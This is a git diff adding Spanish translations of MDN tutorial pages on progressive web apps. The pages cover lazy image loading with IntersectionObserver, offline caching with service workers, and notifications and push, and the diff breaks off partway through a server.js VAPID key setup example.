+<h3 id="Observador_de_intersecciones">Observador de intersecciones</h3>
+
+<p>Esta es una mejora progresiva del ejemplo de uso anterior: {{web.link("/es/docs/Web/API/Intersection_Observer_API", "Observador de intersección")}} cargará las imágenes destino solo cuando el usuario se desplaza hacia abajo, lo cual hace que se exhiban en la ventana gráfica.</p>
+
+<p>Así es como se ve el código relevante:</p>
+
+<pre class="brush: js notranslate">if('IntersectionObserver' in window) {
+  const observer = new IntersectionObserver((items, observer) =&gt; {
+    items.forEach((item) =&gt; {
+      if(item.isIntersecting) {
+        loadImages(item.target);
+        observer.unobserve(item.target);
+      }
+    });
+  });
+  imagesToLoad.forEach((img) =&gt; {
+    observer.observe(img);
+  });
+} else {
+  imagesToLoad.forEach((img) =&gt; {
+    loadImages(img);
+  });
+}</pre>
+
+<p>Si se admite el objeto {{DOMxRef("IntersectionObserver")}}, la aplicación crea una nueva instancia del mismo. La función pasada como parámetro está manejando el caso cuando uno o más elementos se cruzan con el observador (es decir, aparecen dentro de la ventana gráfica). Podemos iterar sobre cada caso y reaccionar en consecuencia: cuando una imagen es visible, cargamos la imagen correcta y dejamos de observarla porque ya no necesitamos observarla.</p>
+
+<p>Reiteremos nuestra mención anterior de la mejora progresiva: el código está escrito para que la aplicación funcione tanto si <code>Intersection Observer</code> es compatible como si no. Si no es así, simplemente cargamos las imágenes usando el enfoque más básico cubierto anteriormente.</p>
+
+<h2 id="Mejoras">Mejoras</h2>
+
+<p>Recuerda que hay muchas formas de optimizar los tiempos de carga, y este ejemplo explora solo uno de los enfoques. Puedes intentar hacer que tus aplicaciones sean más a prueba de balas haciéndolas funcionar sin JavaScript, ya sea utilizando {{HTMLElement("noscript")}} para mostrar la imagen con el <code>src</code> final ya asignado, o envolviendo <code>Etiquetas &lt;img&gt;</code> con elementos {{HTMLElement("a")}} que apuntan a las imágenes destino, para que el usuario pueda hacer clic y acceder a ellas cuando lo desee.</p>
+
+<p>No lo haremos porque la aplicación en sí depende de JavaScript; sin él, la lista de juegos ni siquiera se cargaría y el código del servicio <em>worker</em> no se ejecutaría.</p>
+
+<p>Podríamos reescribir el proceso de carga para cargar no solo las imágenes, sino los elementos completos que consisten en descripciones completas y enlaces. Funcionaría como un desplazamiento infinito: cargar los elementos de la lista solo cuando el usuario desplaza la página hacia abajo. De esa manera, la estructura HTML inicial sería mínima, el tiempo de carga sería aún menor y tendríamos beneficios de rendimiento aún mayores.</p>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>Menos archivos para cargar inicialmente, archivos más pequeños divididos en módulos, uso de marcadores de posición y carga de más contenido bajo demanda: esto ayudará a lograr tiempos de carga inicial más rápidos, lo que brinda beneficios al creador de la aplicación y ofrece una experiencia más fluida para el usuario.</p>
+
+<p>Recuerda el enfoque de mejora progresiva: ofrece un producto utilizable sin importar el dispositivo o la plataforma, pero asegúrate de enriquecer la experiencia a quienes utilizan navegadores modernos.</p>
+
+<h2 id="Pensamientos_finales">Pensamientos finales</h2>
+
+<p>Eso es todo por esta serie de tutoriales: revisamos el <a href="https://github.com/mdn/pwa-examples/tree/master/js13kpwa">código fuente de la aplicación de ejemplo js13kPWA</a> y aprendimos sobre el uso de funciones de aplicaciones web progresivas, incluida una {{web.link("/es/docs/Web/Progressive_web_apps/Introduction", "Introducción")}}, {{web.link("/es/docs/Web/Progressive_web_apps/App_structure", "estructura PWA")}}, {{web.link("/es/docs/Web/Progressive_web_apps/Offline_Service_workers", "disponibilidad sin conexión con servicio workers")}}, {{web.link("/es/docs/Web/Progressive_web_apps/Installable_PWAs", "PWAs instalables")}}, y finalmente notificaciones. También explicamos el <code>push</code> con la ayuda del <a href="https://serviceworke.rs/">Libro de recetas para el servicio <em>workers</em></a>. Y en este artículo, hemos analizado el concepto de carga progresiva, incluido un interesante ejemplo que hace uso de la {{web.link("/es/docs/Web/API/Intersection_Observer_API", "API de Intersection Observer")}}.</p>
+
+<p>No dudes en experimentar con el código, mejorar tu aplicación existente con funciones de PWA o crear algo completamente nuevo por tu cuenta. Las PWAs ofrecen una gran ventaja sobre las aplicaciones web habituales.</p>
+
+<p>{{PreviousMenu("Web/Progressive_web_apps/Re-engageable_Notifications_Push", "Web/Progressive_web_apps")}}</p>
+
+<p>{{QuickLinksWithSubpages("/es/docs/Web/Progressive_web_apps/")}}</p>
diff --git a/files/es/web/progressive_web_apps/offline_service_workers/index.html b/files/es/web/progressive_web_apps/offline_service_workers/index.html
new file mode 100644
index 0000000000..d7349b1a8a
--- /dev/null
+++ b/files/es/web/progressive_web_apps/offline_service_workers/index.html
@@ -0,0 +1,208 @@
+---
+title: Hacer que las PWAs trabajen desconectadas con servicio workers
+slug: Web/Progressive_web_apps/Offline_Service_workers
+tags:
+  - Desconectada
+  - PWAs
+  - Servicio workers
+  - aplicaciones web progresivas
+  - js13kGames
+  - progresiva
+translation_of: Web/Progressive_web_apps/Offline_Service_workers
+---
+<div>{{PreviousMenuNext("Web/Progressive_web_apps/App_structure", "Web/Progressive_web_apps/Installable_PWAs", "Web/Progressive_web_apps")}}</div>
+
+<p class="summary">Ahora que hemos visto cómo se ve la estructura de js13kPWA y hemos visto el intérprete básico en funcionamiento, veamos cómo se implementan las capacidades sin conexión con el Servicio <em>Worker</em>. En este artículo, analizamos cómo se usa en nuestro <a href="https://mdn.github.io/pwa-examples/js13kpwa/">ejemplo de js13kPWA</a> (<a href="https: //github.com/mdn/pwa-examples/tree/master/js13kpwa">ve el código fuente también</a>). Examinamos cómo agregar funcionalidad fuera de línea.</p>
+
+<h2 id="El_servicio_workers_explicado">El servicio <em>workers</em> explicado</h2>
+
+<p>El servicio <em>workers</em> son un delegado virtual entre el navegador y la red. Finalmente, solucionan problemas con los que los desarrolladores de aplicaciones para el usuario han luchado durante años, en particular, cómo almacenar correctamente en caché los activos de un sitio web y ponerlos a disposición cuando el dispositivo del usuario está desconectado.</p>
+
+<p>Se ejecutan en un hilo separado del código JavaScript principal de nuestra página y no tienen acceso a la estructura DOM. Esto introduce un enfoque diferente al de la programación web tradicional — la API no bloquea y puede enviar y recibir comunicación entre diferentes contextos. Puede darle a un servicio <em>worker</em> algo en lo que trabajar y recibir el resultado cuando esté listo utilizando un enfoque basado en una {{JSxRef("Objetos_globales/Promise", "promesa")}}.</p>
+
+<p>Pueden hacer mucho más que "solo" ofrecer capacidades sin conexión, incluido el manejo de notificaciones, la realización de cálculos pesados​en un hilo separado, etc. El servicio <em>workers</em> es bastante poderoso, ya que pueden tomar el control de las solicitudes de red, modificarlas, entregar respuestas personalizadas recuperadas de la caché o sintetizar respuestas por completo.</p>
+
+<h3 id="Seguridad">Seguridad</h3>
+
+<p>Debido a que son tan poderosos, los Servicios <em>Workers</em> solo se pueden ejecutar en contextos seguros (es decir, HTTPS). Si deseas experimentar primero antes de enviar tu código a producción, siempre puedes probar en un anfitrión local o configurar las páginas de GitHub — ambas admiten HTTPS.</p>
+
+<h2 id="Desconectado_primero">Desconectado primero</h2>
+
+<p>El patrón "desconectado primero" o "primero caché" es la estrategia más popular para entregar contenido al usuario. Si un recurso está almacenado en caché y disponible sin conexión, devuélvelo primero antes de intentar descargarlo del servidor. Si aún no está en la caché, descárgalo y almacénalo para uso futuro.</p>
+
+<h2 id="Progresiva_en_PWA">"Progresiva" en PWA</h2>
+
+<p>Cuando se implementa correctamente como una mejora progresiva, el servicio <em>workers</em> puede beneficiar a los usuarios que tienen navegadores modernos que admiten la API al brindar soporte fuera de línea, pero no romperán nada para aquellos que usan navegadores heredados.</p>
+
+<h2 id="El_servicio_workers_en_la_aplicación_js13kPWA">El servicio <em>workers</em> en la aplicación <code>js13kPWA</code></h2>
+
+<p>Suficiente teoría, ¡veamos algo de código real!</p>
+
+<h3 id="Registrar_el_servicio_worker">Registrar el servicio <em>worker</em></h3>
+
+<p>Comenzaremos mirando el código que registra un nuevo Servicio <em>Worker</em>, en el archivo <code>app.js</code>:</p>
+
+<p><strong>Nota</strong>: Usamos la sintaxis de las <strong>funciones flecha</strong> de <a href="http://es6-features.org/">ES6</a> en la implementación del servicio <em>worker</em></p>
+
+<pre class="brush: js notranslate">if('serviceWorker' in navigator) {
+    navigator.serviceWorker.register('./pwa-examples/js13kpwa/sw.js');
+};</pre>
+
+<p>Si la API del servicio <em>worker</em> es compatible con el navegador, se registra en el sitio mediante el método {{DOMxRef("ServiceWorkerContainer.register()")}}. Su contenido reside en el archivo <code>sw.js</code> y se puede ejecutar después de que el registro sea exitoso. Es la única parte del código de servicio <em>worker</em> que se encuentra dentro del archivo <code>app.js</code>; todo lo demás que sea específico de servicio <em>worker</em> se escribe en el archivo <code>sw.js</code>.</p>
+
+<h3 id="Ciclo_de_vida_de_un_servicio_worker">Ciclo de vida de un servicio <em>worker</em></h3>
+
+<p>Cuando se completa el registro, el archivo <code>sw.js</code> se descarga automáticamente, luego se instala y finalmente se activa.</p>
+
+<h4 id="Instalación">Instalación</h4>
+
+<p>La API nos permite agregar escuchas de eventos para los eventos clave que nos interesan; el primero es el evento <code>install</code>:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('install', (e) =&gt; {
+    console.log('[Service Worker] Install');
+});</pre>
+
+<p>En el escucha de <code>install</code>, podemos iniciar la caché y agregarle archivos para su uso sin conexión. Nuestra aplicación <em>js13kPWA</em> hace exactamente eso.</p>
+
+<p>Primero, se crea una variable para almacenar el nombre de la caché y los archivos del intérprete de la aplicación se enumeran en un arreglo.</p>
+
+<pre class="brush: js notranslate">var cacheName = 'js13kPWA-v1';
+var appShellFiles = [
+  '/pwa-examples/js13kpwa/',
+  '/pwa-examples/js13kpwa/index.html',
+  '/pwa-examples/js13kpwa/app.js',
+  '/pwa-examples/js13kpwa/style.css',
+  '/pwa-examples/js13kpwa/fonts/graduate.eot',
+  '/pwa-examples/js13kpwa/fonts/graduate.ttf',
+  '/pwa-examples/js13kpwa/fonts/graduate.woff',
+  '/pwa-examples/js13kpwa/favicon.ico',
+  '/pwa-examples/js13kpwa/img/js13kgames.png',
+  '/pwa-examples/js13kpwa/img/bg.png',
+  '/pwa-examples/js13kpwa/icons/icon-32.png',
+  '/pwa-examples/js13kpwa/icons/icon-64.png',
+  '/pwa-examples/js13kpwa/icons/icon-96.png',
+  '/pwa-examples/js13kpwa/icons/icon-128.png',
+  '/pwa-examples/js13kpwa/icons/icon-168.png',
+  '/pwa-examples/js13kpwa/icons/icon-192.png',
+  '/pwa-examples/js13kpwa/icons/icon-256.png',
+  '/pwa-examples/js13kpwa/icons/icon-512.png'
+];</pre>
+
+<p>A continuación, los enlaces a las imágenes que se cargarán junto con el contenido del archivo <code>data/games.js</code> se generan en el segundo arreglo. Después de eso, ambos arreglos se fusionan usando la función {{JSxRef("Array.prototype.concat()")}}.</p>
+
+<pre class="brush: js notranslate">var gamesImages = [];
+for(var i=0; i&lt;games.length; i++) {
+  gamesImages.push('data/img/'+games[i].slug+'.jpg');
+}
+var contentToCache = appShellFiles.concat(gamesImages);</pre>
+
+<p>Entonces podemos manejar el evento <code>install</code> en sí mismo:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('install', (e) =&gt; {
+  console.log('[Service Worker] Install');
+  e.waitUntil(
+    caches.open(cacheName).then((cache) =&gt; {
+          console.log('[Servicio Worker] Almacena todo en caché: contenido e intérprete de la aplicación');
+      return cache.addAll(contentToCache);
+    })
+  );
+});</pre>
+
+<p>Aquí hay dos cosas que necesitan una explicación: qué hace {{DOMxRef("ExtendableEvent.waitUntil")}} y qué es el objeto {{DOMxRef("Caches", "caches")}}.</p>
+
+<p>El servicio <em>worker</em> no se instala hasta que se ejecuta el código dentro de <code>waitUntil</code>. Este devuelve una promesa — este enfoque es necesario porque la instalación puede llevar algún tiempo, por lo que tenemos que esperar a que finalice.</p>
+
+<p><code>caches</code> es un objeto {{DOMxRef("CacheStorage")}} especial disponible en el ámbito del servicio <em>worker</em> dado para permitir guardar datos, guardar en el {{web.link("/es/docs/Web/API/Web_Storage_API", "almacenamiento web")}} no funcionará porque el almacenamiento web es síncrono. Con el servicio <em>workers</em>, usamos la API de <code>Cache</code> en su lugar.</p>
+
+<p>Aquí, abrimos una caché con un nombre dado, luego agregamos a la caché todos los archivos que nuestra aplicación usa, para que estén disponibles la próxima vez que se cargue (identificado por la URL de la solicitud).</p>
+
+<h4 id="Activación">Activación</h4>
+
+<p>También hay un evento <code>activate</code>, que se usa de la misma manera que <code>install</code>. Este evento generalmente se usa para eliminar cualquier archivo que ya no sea necesario y limpiar después la aplicación en general. No es necesario que hagamos eso en nuestra aplicación, así que lo omitiremos.</p>
+
+<h3 id="Responder_a_las_recuperaciones">Responder a las recuperaciones</h3>
+
+<p>También tenemos un evento <code>fetch</code> a nuestra disposición, que se activa cada vez que se activa una solicitud HTTP desde nuestra aplicación. Esto es muy útil, ya que nos permite interceptar solicitudes y reaccionar con respuestas personalizadas. Aquí hay un sencillo ejemplo de uso:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('fetch', (e) =&gt; {
+    console.log('[Servicio Worker] Recurso obtenido ' + e.request.url);
+});</pre>
+
+<p>La respuesta puede ser cualquier cosa que queramos: el archivo solicitado, su copia en caché o un fragmento de código JavaScript que hará algo específico; las posibilidades son infinitas.</p>
+
+<p>En nuestra aplicación de ejemplo, servimos contenido de la caché en lugar de la red siempre que el recurso realmente esté en la caché. Hacemos esto tanto si la aplicación está en línea como si está fuera de línea. Si el archivo no está en la caché, la aplicación primero lo agrega allí antes de servirlo:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('fetch', (e) =&gt; {
+  e.respondWith(
+    caches.match(e.request).then((r) =&gt; {
+          console.log('[Servicio Worker] Obteniendo recurso: '+e.request.url);
+      return r || fetch(e.request).then((response) =&gt; {
+                return caches.open(cacheName).then((cache) =&gt; {
+          console.log('[Servicio Worker] Almacena el nuevo recurso: '+e.request.url);
+          cache.put(e.request, response.clone());
+          return response;
+        });
+      });
+    })
+  );
+});</pre>
+
+<p>Aquí, respondemos al evento <code>fetch</code> con una función que intenta encontrar el recurso en la caché y devolver la respuesta si está allí. Si no es así, usamos otra solicitud de recuperación para obtenerla de la red, luego almacenamos la respuesta en la caché para que esté disponible allí la próxima vez que se solicite.</p>
+
+<p>El método {{DOMxRef("FetchEvent.respondWith")}} toma el control; esta es la parte que funciona como un servidor delegado entre la aplicación y la red. Esto nos permite responder a cada solicitud con cualquier cosa que queramos: preparada por el servicio <em>worker</em>, tomada de la caché o modificada si es necesario.</p>
+
+<p>¡Eso es! Nuestra aplicación almacena en caché sus recursos al instalarlos y los sirve con la recuperación de la caché, por lo tanto, funciona incluso si el usuario está desconectado. También almacena en caché contenido nuevo cada vez que se agrega.</p>
+
+<h2 id="Actualizaciones">Actualizaciones</h2>
+
+<p>Todavía hay un punto que cubrir: ¿cómo se actualiza un servicio <em>worker</em> cuando hay disponible una nueva versión de la aplicación que contiene nuevos activos? El número de versión en el nombre de la caché es clave para esto:</p>
+
+<pre class="brush: js notranslate">var cacheName = 'js13kPWA-v1';</pre>
+
+<p>Cuando esto se actualice a v2, podemos agregar todos nuestros archivos (incluidos nuestros archivos nuevos) a una nueva caché:</p>
+
+<pre class="brush: js notranslate">contentToCache.push('/pwa-examples/js13kpwa/icons/icon-32.png');
+
+// ...
+
+self.addEventListener('install', (e) =&gt; {
+  e.waitUntil(
+    caches.open('js13kPWA-v2').then((cache) =&gt; {
+      return cache.addAll(contentToCache);
+    })
+  );
+});</pre>
+
+<p>Se instala un nuevo servicio <em>worker</em> en segundo plano y el anterior (v1) funciona correctamente hasta que no hay páginas que lo utilicen; el nuevo servicio <em>worker</em> se activa y se hace cargo de la administración de la página desde el anterior.</p>
+
+<h2 id="Limpiar_la_caché">Limpiar la caché</h2>
+
+<p>¿Recuerdas el evento <code>active</code> que omitimos?, se puede usar para borrar la antigua caché que ya no necesitamos:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('activate', (e) =&gt; {
+  e.waitUntil(
+    caches.keys().then((keyList) =&gt; {
+          return Promise.all(keyList.map((key) =&gt; {
+        if(key !== cacheName) {
+          return caches.delete(key);
+        }
+      }));
+    })
+  );
+});</pre>
+
+<p>Esto asegura que solo tengamos los archivos que necesitamos en la caché, por lo que no dejamos basura; el <a href="/es/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">espacio de caché disponible en el navegador es limitado</a>, por lo que es una buena idea limpiarlo nosotros mismos después.</p>
+
+<h2 id="Otros_casos_de_uso">Otros casos de uso</h2>
+
+<p>Servir archivos desde la caché no es la única característica que ofrece el servicio <em>worker</em>. Si tienes que hacer cálculos pesados, los puedes descargar del hilo principal y hacerlos en el <em>worker</em>, y recibir el resultado tan pronto como estén disponibles. En cuanto al rendimiento, puedes obtener recursos que no se necesitan en este momento, pero que podrían serlo en un futuro cercano, por lo que la aplicación será más rápida cuando realmente los necesite.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>En este artículo, analizamos cómo puedes hacer que tu PWA funcione sin conexión con el servicio <em>workers</em>. Asegúrate de consultar nuestra documentación adicional si deseas obtener más información sobre los conceptos detrás de la {{web.link("/es/docs/Web/API/Service_Worker_API", "API de Service Worker")}} y cómo usarla con más detalle.</p>
+
+<p>El servicio <em>workers</em> también se utilizan cuando se trata de {{web.link("/es/docs/Web/API/Push_API", "notificaciones push")}}; esto se explicará en un artículo posterior.</p>
+
+<p>{{PreviousMenuNext("Web/Progressive_web_apps/App_structure", "Web/Progressive_web_apps/Installable_PWAs", "Web/Progressive_web_apps")}}</p>
+
+<div>{{QuickLinksWithSubpages("/es/docs/Web/Progressive_web_apps/")}}</div>
diff --git a/files/es/web/progressive_web_apps/re-engageable_notifications_push/index.html b/files/es/web/progressive_web_apps/re-engageable_notifications_push/index.html
new file mode 100644
index 0000000000..0c03dfb151
--- /dev/null
+++ b/files/es/web/progressive_web_apps/re-engageable_notifications_push/index.html
@@ -0,0 +1,251 @@
+---
+title: >-
+  Cómo hacer que las PWAs se puedan volver a conectar usando Notificaciones y
+  Push
+slug: Web/Progressive_web_apps/Re-engageable_Notifications_Push
+tags:
+  - Notificaciones
+  - PWAs
+  - Push
+  - aplicaciones web progresivas
+  - js13kGames
+  - progresiva
+translation_of: Web/Progressive_web_apps/Re-engageable_Notifications_Push
+---
+<div>{{PreviousMenuNext("Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive/Loading", "Web/Apps/Progressive")}}</div>
+
+<p class="summary">Tener la capacidad de almacenar en caché el contenido de una aplicación para que funcione sin conexión es una gran característica. Permitir que el usuario instale la aplicación web en su pantalla de inicio es aún mejor. Pero en lugar de depender solo de las acciones del usuario, podemos hacer más, utilizando mensajes <code>push</code> y notificaciones para volver a interactuar automáticamente y entregar contenido nuevo siempre que esté disponible.</p>
+
+<h2 id="Dos_APIs_un_objetivo">Dos APIs, un objetivo</h2>
+
+<p>{{web.link("/es/docs/Web/API/Push_API", "API Push")}} y {{web.link("/es/docs/Web/API/Notifications_API", "API de notificaciones")}} son dos APIs independientes, pero funcionan bien juntas cuando deseas proporcionar una funcionalidad atractiva en tu aplicación. <code>Push</code> se utiliza para entregar contenido nuevo desde el servidor a la aplicación sin ninguna intervención del lado del cliente, y su operación es manejada por el servicio <em>worker</em> de la aplicación. El servicio <em>worker</em> puede utilizar las notificaciones para mostrar nueva información al usuario, o al menos alertarlo cuando algo se haya actualizado.</p>
+
+<p>Funcionan fuera de la ventana del navegador, al igual que el servicio <em>worker</em>, por lo que se pueden enviar actualizaciones y se pueden mostrar notificaciones cuando la página de la aplicación está desenfocada o incluso cerrada.</p>
+
+<h2 id="Notificaciones">Notificaciones</h2>
+
+<p>Comencemos con las notificaciones: pueden funcionar sin <code>push</code>, pero son muy útiles cuando se combinan con ellas. Para empezar, veámoslo de forma aislada.</p>
+
+<h3 id="Pedir_permiso">Pedir permiso</h3>
+
+<p>Para mostrar una notificación, primero debes solicitar permiso. Sin embargo, en lugar de mostrar la notificación de inmediato, la mejor práctica dicta que deberíamos mostrar la ventana emergente cuando el usuario la solicite haciendo clic en un botón:</p>
+
+<pre class="brush: js notranslate">var button = document.getElementById("notifications");
+button.addEventListener('click', function(e) {
+    Notification.requestPermission().then(function(result) {
+        if(result === 'granted') {
+            randomNotification();
+        }
+    });
+});</pre>
+
+<p>Esto muestra una ventana emergente usando el propio servicio de notificaciones del sistema operativo:</p>
+
+<p><img alt="Notificación de js13kPWA." src="https://mdn.mozillademos.org/files/15930/js13kpwa-notification.png" style="display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>Cuando el usuario confirma recibir notificaciones, la aplicación las puede mostrar. El resultado de la acción del usuario puede ser predeterminada, otorgada o denegada. La opción predeterminada se elige cuando el usuario no hace una elección, y las otras dos se establecen cuando el usuario hace clic en sí o no, respectivamente.</p>
+
+<p>Cuando se acepta, el permiso funciona tanto para notificaciones como para <code>push</code>.</p>
+
+<h3 id="Crea_una_notificación">Crea una notificación</h3>
+
+<p>La aplicación de ejemplo crea una notificación a partir de los datos disponibles: se elige un juego al azar y el elegido alimenta la notificación con el contenido — establece el nombre del juego como título, menciona al autor en el cuerpo y muestra la imagen como un icono:</p>
+
+<pre class="brush: js notranslate">function randomNotification() {
+    var randomItem = Math.floor(Math.random()*games.length);
+    var notifTitle = games[randomItem].name;
+    var notifBody = 'Creado por '+games[randomItem].author+'.';
+    var notifImg = 'data/img/'+games[randomItem].slug+'.jpg';
+    var options = {
+        body: notifBody,
+        icon: notifImg
+    }
+    var notif = new Notification(notifTitle, options);
+    setTimeout(randomNotification, 30000);
+}</pre>
+
+<p>Se crea una nueva notificación aleatoria cada 30 segundos hasta que se vuelve demasiado molesta y el usuario la desactiva. (En una aplicación real, las notificaciones deberían ser mucho menos frecuentes y más útiles). La ventaja de la API de notificaciones es que utiliza la funcionalidad de notificación del sistema operativo. Esto significa que las notificaciones se pueden mostrar al usuario incluso cuando no están mirando la aplicación web, y las notificaciones son similares a las que muestran las aplicaciones nativas.</p>
+
+<h2 id="Push"><code>Push</code></h2>
+
+<p><code>Push</code> es más complicado que las notificaciones: necesitamos suscribirnos a un servidor que luego enviará los datos a la aplicación. El servicio <em>worker</em> de la aplicación recibirá datos <code>push</code> del servidor, que luego se pueden mostrar usando el sistema de notificaciones u otro mecanismo si lo deseas.</p>
+
+<p>La tecnología aún se encuentra en una etapa muy temprana; algunos ejemplos de uso utilizan la plataforma de mensajería en la nube de Google, pero se están reescribiendo para admitir <a href="#" title="https://blog.mozilla.org/services/2016/08/23/sending-vapid-protected-webpush-Notifications-via-mozillas-push-service/">IDVAP</a> (<strong>Id</strong>entificación <strong>vo</strong>luntaria de la <strong>ap</strong>licación), que ofrece una capa adicional de seguridad para tu aplicación. Puedes examinar los <a href="https://serviceworke.rs/push-payload.html">ejemplos del libro de recetas del servicio <em>workers</em></a>, intenta configurar un servidor de mensajería <code>push</code> usando <a href="https://firebase.google.com/">Firebase</a>, o crea tu propio servidor (utilizando Node.js, por ejemplo).</p>
+
+<p>Como se mencionó anteriormente, para poder recibir mensajes <code>push</code>, debes tener un servicio <em>worker</em>, cuyos conceptos básicos ya se explican en {{web.link("/es/docs/Web/Apps/Progressive/Offline_Service_workers", "Cómo hacer que las PWAs funcionen sin conexión con el servicio workers")}}. Dentro del servicio <em>workers</em>, se crea un mecanismo de suscripción del servicio <code>push</code>.</p>
+
+<pre class="brush: js notranslate">registration.pushManager.getSubscription() .then( /* ... */ );</pre>
+
+<p>Una vez que el usuario está suscrito, puede recibir notificaciones automáticas del servidor.</p>
+
+<p>Desde el lado del servidor, todo el proceso tiene que estar encriptado con claves públicas y privadas por razones de seguridad — permitir que todos envíen mensajes <code>push</code> sin seguridad usando tu aplicación sería una idea terrible. Consulta la <a href="https://jrconlin.github.io/WebPushDataTestPage/">página de prueba de encriptación de datos <code>Push</code> en la Web</a> para obtener información detallada sobre cómo proteger el servidor. El servidor almacena toda la información recibida cuando el usuario se suscribió, por lo que los mensajes se pueden enviar más tarde cuando sea necesario.</p>
+
+<p>Para recibir mensajes <code>push</code>, podemos escuchar el evento {{event("push")}} en el archivo <code>Service Worker</code>:</p>
+
+<pre class="brush: js notranslate">self.addEventListener('push', function(e) { /* ... */ });</pre>
+
+<p>Los datos se pueden recuperar y luego mostrar como una notificación al usuario inmediatamente. Esto, por ejemplo, se puede usar para recordarle algo al usuario o para informarle sobre contenido nuevo disponible en la aplicación.</p>
+
+<h3 id="Ejemplo_push">Ejemplo <code>push</code></h3>
+
+<p><code>Push</code> necesita que la parte del servidor funcione, por lo que no podemos incluirla en el ejemplo js13kPWA alojado en las páginas de GitHub, ya que solo ofrece alojamiento de archivos estáticos. Todo se explica en el <a href="https://serviceworke.rs/">Libro de recetas para servicios <em>worker</em></a>; consulta el <a href="https://serviceworke.rs/push-payload.html">Demo de carga <code>push</code></a>.</p>
+
+<p>Esta demostración consta de tres archivos:</p>
+
+<ul>
+ <li><a href="https://github.com/mozilla/serviceworker-cookbook/blob/master/push-payload/index.js">index.js</a>, que contiene el código fuente de nuestra aplicación</li>
+ <li><a href="https://github.com/mozilla/serviceworker-cookbook/blob/master/push-payload/server.js">server.js</a>, que contiene la parte del servidor (escrito en Node.js)</li>
+ <li><a href="https://github.com/mozilla/serviceworker-cookbook/blob/master/push-payload/service-worker.js">service-worker.js</a>, que contiene el código específico de <code>Service Worker</code>.</li>
+</ul>
+
+<p>Exploremos todos estos</p>
+
+<h4 id="index.js"><code>index.js</code></h4>
+
+<p>El archivo <code>index.js</code> comienza registrando el servicio <code>worker</code>:</p>
+
+<pre class="brush: js notranslate">navigator.serviceWorker.register('service-worker.js')
+.then(function(registration) {
+  return registration.pushManager.getSubscription()
+  .then(async function(subscription) {
+      // parte de registro
+  });
+})
+.then(function(subscription) {
+    // parte de la suscripción
+});</pre>
+
+<p>Es un poco más complicado que el servicio <em>worker</em> que vimos en la <a href="https://mdn.github.io/pwa-examples/js13kpwa/">demostración de js13kPWA</a>. En este caso particular, después de registrarse, usamos el objeto de registro para suscribirnos y luego usamos el objeto de suscripción resultante para completar todo el proceso.</p>
+
+<p>En la parte de registro, el código se ve así:</p>
+
+<pre class="brush: js notranslate">if(subscription) {
+    return subscription;
+}</pre>
+
+<p>Si el usuario ya se ha suscrito, devolvemos el objeto de suscripción y pasamos a la parte de suscripción. Si no, iniciamos una nueva suscripción:</p>
+
+<pre class="brush: js notranslate">const response = await fetch('./vapidPublicKey');
+const vapidPublicKey = await response.text();
+const convertedVapidKey = urlBase64ToUint8Array(vapidPublicKey);</pre>
+
+<p>La aplicación obtiene la clave pública del servidor y convierte la respuesta en texto; luego se debe convertir a un Uint8Array (para admitir Chrome). Para obtener más información sobre las claves <em>IDVAP</em>, puedes leer <a href="https://blog.mozilla.org/services/2016/08/23/sending-vapid-identified-webpush-notifications-via-mozillas-push-service/">Envío de notificaciones <em>WebPush</em> identificadas por <em>IDVAP</em> a través de la publicación de blog del servicio <code>Push</code> de Mozilla</a>.</p>
+
+<p>La aplicación ahora puede usar {{DOMxRef("PushManager")}} para suscribir al nuevo usuario. Hay dos opciones pasadas al método {{DOMxRef("PushManager.subscribe()")}} — la primera es <code>userVisibleOnly: true</code>, lo cual significa que todas las notificaciones enviadas al usuario serán visibles para ellos, y el segundo es <code>applicationServerKey</code>, que contiene nuestra clave <em>IDVAP</em> adquirida y convertida con éxito.</p>
+
+<pre class="brush: js notranslate">return registration.pushManager.subscribe({
+    userVisibleOnly: true,
+    applicationServerKey: convertedVapidKey
+});</pre>
+
+<p>Ahora pasemos a la parte de la suscripción: la aplicación primero envía los detalles de la suscripción como JSON al servidor mediante <code>Fetch</code>.</p>
+
+<pre class="brush: js notranslate">fetch('./register', {
+    method: 'post',
+    headers: {
+        'Content-type': 'application/json'
+    },
+    body: JSON.stringify({
+        subscription: subscription
+    }),
+});</pre>
+
+<p>Luego, se define la función {{DOMxRef("onclick", "GlobalEventHandlers.onclick")}} en el botón <em>Suscribirse</em>:</p>
+
+<pre class="brush: js notranslate">document.getElementById('doIt').onclick = function() {
+    const payload = document.getElementById('notification-payload').value;
+    const delay = document.getElementById('notification-delay').value;
+    const ttl = document.getElementById('notification-ttl').value;
+
+    fetch('./sendNotification', {
+        method: 'post',
+        headers: {
+            'Content-type': 'application/json'
+        },
+        body: JSON.stringify({
+            subscription: subscription,
+            payload: payload,
+            delay: delay,
+            ttl: ttl,
+        }),
+    });
+};</pre>
+
+<p>Cuando se hace clic en el botón, <code>fetch</code> solicita al servidor que envíe la notificación con los parámetros dados: <code>payload</code> es el texto que se mostrará en la notificación, <code>delay</code> define un retraso en segundos hasta que se muestra la notificación, y <code>ttl</code> es la configuración de tiempo de vida que mantiene la notificación disponible en el servidor durante un período de tiempo específico, también definido en segundos.</p>
+
+<p>Ahora, en el siguiente archivo JavaScript.</p>
+
+<h4 id="server.js"><code>server.js</code></h4>
+
+<p>La parte del servidor está escrita en Node.js y se debe alojar en un lugar adecuado, que es un tema de un artículo completamente separado. Aquí solo proporcionaremos una descripción general de alto nivel.</p>
+
+<p>El <a href="https://www.npmjs.com/package/web-push">módulo <code>web-push</code></a> se utiliza para configurar las claves <code>IDVAP</code> y, opcionalmente, generarlas si aún no están disponibles.</p>
+
+<pre class="brush: js notranslate">const webPush = require('web-push');
+
+if (!process.env.VAPID_PUBLIC_KEY || !process.env.VAPID_PRIVATE_KEY) {
+  console.log("Debes configurar las variables de entorno VAPID_PUBLIC_KEY y " +
+    "VAPID_PRIVATE_KEY. Puedes utilizar las siguientes: ");
+  console.log(webPush.generateVAPIDKeys());
+  return;
+}
+
+webPush.setVapidDetails(
+  'https://serviceworke.rs/',
+  process.env.VAPID_PUBLIC_KEY,
+  process.env.VAPID_PRIVATE_KEY
+);
+</pre>
+
